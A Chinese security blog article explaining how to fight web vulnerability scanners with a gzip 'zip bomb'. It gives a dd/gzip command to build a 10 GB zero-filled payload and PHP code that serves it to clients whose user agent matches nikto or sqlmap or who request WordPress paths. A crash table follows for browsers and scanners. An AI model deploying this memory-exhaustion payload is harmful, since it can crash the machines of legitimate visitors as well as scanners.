回归最本质的信息安全

ZIP炸弹怎样反击扫描器?

2017年7月12日发布

23,304
2
1

导语:如果你曾经维护一个网站或管理过服务器,那么你会清楚,总会人会尝试攻击你。

如果你曾经维护一个网站或管理过服务器,那么你会清楚,总会人会尝试攻击你。当我在13岁时首次托管我自己的linux服务器时,我每天阅读日志,并查看每天有多少尝试连接到linux服务器(实际上是一个老的ThinkPad T21)的IP(主要来自中国和俄罗斯)。

 实际上如果你有一个linux服务器,SSH是开放模式,你可以看到每天有多少连接尝试:

 grep 'authentication failures' /var/log/auth.log

即使此服务器已禁用密码身份验证并在非标准端口上运行,仍有数百次失败的登录尝试。

Wordpress重灾区

由于WP被广泛使用,大多数扫描器会扫描一些配置错误的wp-admin文件夹或未打补丁的插件。如果一个小的,新的黑客团体希望获得一些热点名气,他们会下载wpscan、nikto、Grabber等扫描工具,开始对许多网站的测试进行漏洞扫描。

使用工具Nikto进行扫描时日志文件的示例

有没有办法反击?

部署IDS或Fail2ban的,但是我还有一个方法就是zip炸弹

ZIP炸弹怎么样反击扫描器?

网络浏览器不认识ZIP,但他们认识GZIP。所以我们首先要创建一个填满零的10千兆字节的GZIP文件。我们可以进行多次压缩。

dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip

创建炸弹并检查其大小

你可以看到它是10 MB大。

现在我们已经创建了这个东西,让我们设置一个PHP脚本,把它传递给一个客户端。

<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip')

所以我们可以用这个简单的防御方式:

<?php
$agent = lower($_SERVER['HTTP_USER_AGENT']);
//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
      sendBomb();
      exit();
}
function sendBomb(){
        //prepare the client to recieve GZIP data. This will not be suspicious
        //since most web servers use GZIP by default
        header("Content-Encoding: gzip");
        header("Content-Length: ".filesize('10G.gzip'));
        //Turn off output buffering
        if (ob_get_level()) ob_end_clean();
        //send the gzipped file to the client
        readfile('10G.gzip');
}
function startsWith($haystack,$needle){
    return (substr($haystack,0,strlen($needle)) === $needle);
}

SO,调用脚本时会发生什么?

Edge     内存上升,然后永远在加载中
IE 11    内存上升,IE奔溃
Chrome   内存上升,显示错误
Nikto    一直扫描,但是无扫描报告
SQLmap   高内存使用到奔溃

在Chrome中调用脚本的反应

胆大你就来:自己尝试一下

如若转载,请注明原文地址: http://www.4hou.com/technology/6211.html

点赞 1
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

愣娃

愣娃

这个人很懒,什么也没留下

发私信

发表评论

    绚濑绘里
    绚濑绘里 2017-07-12 18:05

    就是炸,不要犹豫

    Mystery
    Mystery 2017-07-12 13:01

    Chrome在一段时间显示了内存不足。。不过确实看到了内存在一直上升